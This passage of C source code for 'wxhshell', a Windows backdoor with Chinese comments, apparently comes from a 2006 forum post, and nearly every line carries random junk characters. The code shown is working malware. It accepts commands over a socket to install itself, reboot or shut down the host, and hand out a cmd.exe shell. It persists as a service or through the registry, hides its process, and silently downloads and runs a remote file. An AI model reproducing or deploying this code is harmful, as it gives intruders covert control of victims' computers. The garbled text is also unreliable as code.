  else { e#+u8LrN  
aw\\oN*  
    switch(cmd[0]) { TQ{rg2_T  
  co93}A,k  
  // 帮助 BkP'b{z|  
  case '?': { 7O=N78M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LkUYh3  
    break; 1kd\Fq^z$  
  } Z8X=Md8=  
  // 安装 `Mh 3v@K:  
  case 'i': { y&-1SP<  
    if(Install()) d3m!34ml  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >{seaihK  
    else _V jfH2Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a'[Ah2}3r<  
    break; MsaD@JY.y  
    } <Z nVWER  
  // 卸载 YR 5C`o  
  case 'r': { 0:CIM  
    if(Uninstall()) QgR3kc^7/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K4G43P5q`  
    else TbUouoc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .~nk' m  
    break; iFJ1}0<(x  
    } gPW% *|D,  
  // 显示 wxhshell 所在路径 D?Mj<||  
  case 'p': { `/"rs@  
    char svExeFile[MAX_PATH]; XY_zF F  
    strcpy(svExeFile,"\n\r"); Ao0p=@Y  
      strcat(svExeFile,ExeFile); uIvAmc4  
        send(wsh,svExeFile,strlen(svExeFile),0); -/ltnx)j  
    break; U '$W$()p  
    } +.EP_2f9  
  // 重启 N<$dbqoT|  
  case 'b': { .Wr%l $~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #[uDVCM  
    if(Boot(REBOOT)) |= o)|z2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7K5D,"D;1  
    else { #80 [q3  
    closesocket(wsh); ~YH'&L.O  
    ExitThread(0); Cwh*AKq(  
    } Bh#?:h&f  
    break; 6H#4iMeh  
    } F=B[%4q`%  
  // 关机 !jySID?q  
  case 'd': { x @a3STKT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x}tg/` .=z  
    if(Boot(SHUTDOWN)) xsO "H8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oy _DYop  
    else { \Fs+H,S<  
    closesocket(wsh); ;!C~_{/t  
    ExitThread(0); <TDp8t9bU  
    } YcmLc)a7  
    break; r=J+  
    } <Wwcd8d  
  // 获取shell &>xd6-  
  case 's': { ZHN@&Gg6)  
    CmdShell(wsh); 0p31C7!  
    closesocket(wsh); $!ATj`}kb  
    ExitThread(0); 4pJ #fkc^  
    break; MB!_G[R  
  } 9*<=K  
  // 退出 QyEGK  
  case 'x': { JG:li} N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y"L7.B  
    CloseIt(wsh); Jqp;8DV}  
    break; XH`W(  
    } B*3<(eI  
  // 离开 z*w.A=r  
  case 'q': { &<>NP?j}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SqosJ}K  
    closesocket(wsh); hRFm]q  
    WSACleanup(); yP^C)  
    exit(1); ?s-Z3{k  
    break; /7CV7=^d,  
        } N fBH  
  } $[xS>iuD  
  } }I3m8A  
nc[Kh8N9  
  // 提示信息 9{cpxJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  v[+ ]  
} _Oc(K "v  
  } ;xQNa}"V  
|6O7_U#q  
  return; m5_  
} !zZ3F|+HB  
oO4hBM([  
// shell模块句柄 *mjPNp'3{m  
int CmdShell(SOCKET sock) "sUjJ|  
{ @9e}kiW  
STARTUPINFO si; {bP )Fon  
ZeroMemory(&si,sizeof(si)); =3dR-3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WdZ_^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?_t_rF(?6  
PROCESS_INFORMATION ProcessInfo; I R|[&}z  
char cmdline[]="cmd"; BA6(Owb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9q]n &5  
  return 0; |*%i]@V=  
} %}}?Y`/W )  
wM1&_%N  
// 自身启动模式 <;lwvO  
int StartFromService(void) r]=Z :  
{ Y.b?.)u&  
typedef struct Lyq[gQjr  
{ dJF3]h Y  
  DWORD ExitStatus; _lBHZJ+  
  DWORD PebBaseAddress; FI"KJk'  
  DWORD AffinityMask; 5q;c=oRUj  
  DWORD BasePriority; .x'?&7#(  
  ULONG UniqueProcessId; 2 -pv &  
  ULONG InheritedFromUniqueProcessId; Tvl"KVGm  
}   PROCESS_BASIC_INFORMATION; >+9:31p  
D4O^5?F)|  
PROCNTQSIP NtQueryInformationProcess; nIWY<Z"  
ZV ;~IaBL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &)izh) FA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "BZL*hHq  
kD me>E=  
  HANDLE             hProcess; 6>gm!6`  
  PROCESS_BASIC_INFORMATION pbi; GmH`ipi  
pnTz.)'46  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NpH9}, 1i  
  if(NULL == hInst ) return 0; CI1K:K AM  
}t*:EgfI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cI'su?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +`7!4gxwK!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AO,^v+ $  
Z^c\M\`7  
  if (!NtQueryInformationProcess) return 0; ^"iJ  
uT>"(wnJ|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kkIG{Bw  
  if(!hProcess) return 0; Ln8r~[tVE<  
7ufTmz#j<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p2 !w86 F  
= &^tfD  
  CloseHandle(hProcess); 40O@a:q*  
dKY#Tl]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); akG|ic-~  
if(hProcess==NULL) return 0; |-TxX:O-  
C@g/{?\  
HMODULE hMod; a@-bw4S D  
char procName[255]; 0J6* U[  
unsigned long cbNeeded; h!`KX2~  
<Y"HC a{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )<$<9!L4x  
*xN?5u%  
  CloseHandle(hProcess); iO"ZtkeNr  
H`,t"I  
if(strstr(procName,"services")) return 1; // 以服务启动 LfJMSscfv  
 & [ ,*  
  return 0; // 注册表启动 2t?Vl%<  
} w,j;XPp  
\wR\i^  
// 主模块 /4}y2JVv)  
int StartWxhshell(LPSTR lpCmdLine) yH9&HFDp  
{ owwWm1@  
  SOCKET wsl; ?@<Tzk]a.  
BOOL val=TRUE; {{AZW   
  int port=0; Wiyiq )^  
  struct sockaddr_in door; qC3PKlhv6  
O)"Z%B  
  if(wscfg.ws_autoins) Install(); 7eW6$$ju,N  
LYiIJAZ.  
port=atoi(lpCmdLine); "bz.nE*  
P0RtS1A  
if(port<=0) port=wscfg.ws_port; _UY=y^ c0>  
0<##8m@F8  
  WSADATA data; {;O j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E,fbIyX  
:  @$5M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `6BQ6)7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 221}xhn5  
  door.sin_family = AF_INET; b}*q*Bq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v^;vH$B  
  door.sin_port = htons(port); Qwp2h"t`  
*?VB/yO=0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m-#]v}0A  
closesocket(wsl); I}m>t}QRI_  
return 1; 93ggCOaYA  
} \FF|b"E_=  
1~j,A[&|<  
  if(listen(wsl,2) == INVALID_SOCKET) { MP.ye|i4Q  
closesocket(wsl); l<'}`  
return 1; mo,"3YW  
} d[*NDMO  
  Wxhshell(wsl); 4q(,uk&R[  
  WSACleanup(); j,Qb'|f5  
s>[Oe|`  
return 0; tK `A_hC  
rB|4  
} rrq7UJ;  
/iJsa&W}  
// 以NT服务方式启动 ylDfr){  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (cI@#x  
{ |tz{Es<`B  
DWORD   status = 0; O;T)u4Q&3  
  DWORD   specificError = 0xfffffff; .'4@Yp{=  
db}lN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6zi Mf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  =vDpm,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8ZJ6~~h  
  serviceStatus.dwWin32ExitCode     = 0; )i\foSbB`V  
  serviceStatus.dwServiceSpecificExitCode = 0; jS5K:yx<  
  serviceStatus.dwCheckPoint       = 0; F5M{`:/  
  serviceStatus.dwWaitHint       = 0; gKgdu($NJ  
Mko,((>I1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &4)PW\ioY  
  if (hServiceStatusHandle==0) return; Uo[`AzD3  
Vg mYm~y'  
status = GetLastError(); T b*Q4:r"  
  if (status!=NO_ERROR) y+ izC+  
{ |HPb$#i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jO`L:D/C  
    serviceStatus.dwCheckPoint       = 0; yA`,ns&n  
    serviceStatus.dwWaitHint       = 0; RLGIST`  
    serviceStatus.dwWin32ExitCode     = status; nE :Wl  
    serviceStatus.dwServiceSpecificExitCode = specificError; 52F3r:Rk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v[a4d&P  
    return; cCIs~*D  
  } n:Dr< q .  
/)rv Ndn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $]?M[sL\N7  
  serviceStatus.dwCheckPoint       = 0; ^Nysx ~6  
  serviceStatus.dwWaitHint       = 0; 2#' "<n,G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eEeK ] 8@  
} 0.1?hb|p5T  
Ac/LNqIs  
// 处理NT服务事件,比如:启动、停止 [&zSYmDk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |voZ0U  
{ yzXS{#\  
switch(fdwControl) gpCWXz')i  
{ /EL3Tt  
case SERVICE_CONTROL_STOP: Ihl]"76q/  
  serviceStatus.dwWin32ExitCode = 0; pz.fZV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lW]&a"1$  
  serviceStatus.dwCheckPoint   = 0; msw=x0{n5  
  serviceStatus.dwWaitHint     = 0; ETfoL.d$(  
  { WTZuf9:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %y)LBSxf  
  } BIT<J5>  
  return; }w)wW1&  
case SERVICE_CONTROL_PAUSE: cn'r BY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \u6/nvZ]N  
  break; BqOMg$<\[  
case SERVICE_CONTROL_CONTINUE: >~T2MlRux  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V j[,o Vt$  
  break; J z-RMX=  
case SERVICE_CONTROL_INTERROGATE: z~;@Mo"*f  
  break; \Zn~y--Z  
}; s6I/%R3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N$cAX^~  
} ?C_Y2JY  
ul\FZT 4  
// 标准应用程序主函数 IpVtbDW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '8|joj>G=  
{ '^.3}N{Fo  
RNX>I,2sh  
// 获取操作系统版本 8ya|eJ]/L  
OsIsNt=GetOsVer(); 1xU)nXXb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =%+xNOdN7?  
<ceJ!"L  
  // 从命令行安装 S2$r 6T  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8b+%:eJ  
7i9wfc h$U  
  // 下载执行文件 w#;y  
if(wscfg.ws_downexe) { ,h.hgyt  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vH]2t.\  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,f[Oy:fr  
} 2%j"E{J&  
#M:Vwn JX  
if(!OsIsNt) { 5K$d4KT  
// 如果时win9x,隐藏进程并且设置为注册表启动 Dfd%Z;Yu  
HideProc(); .vpx@_;]9  
StartWxhshell(lpCmdLine); 6+yA4pRSd  
} Njs'v;-K  
else [S[@ Q[zP@  
  if(StartFromService()) %eE 6\f%g  
  // 以服务方式启动 p 4lB#  
  StartServiceCtrlDispatcher(DispatchTable); 6$p6dmV|  
else g<MCvC@  
  // 普通方式启动 '_o(I  
  StartWxhshell(lpCmdLine); ~@K!>j  
Iyt.`z  
return 0; /3 d6Og  
}
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只看该作者 1 发表于: 2006-10-10
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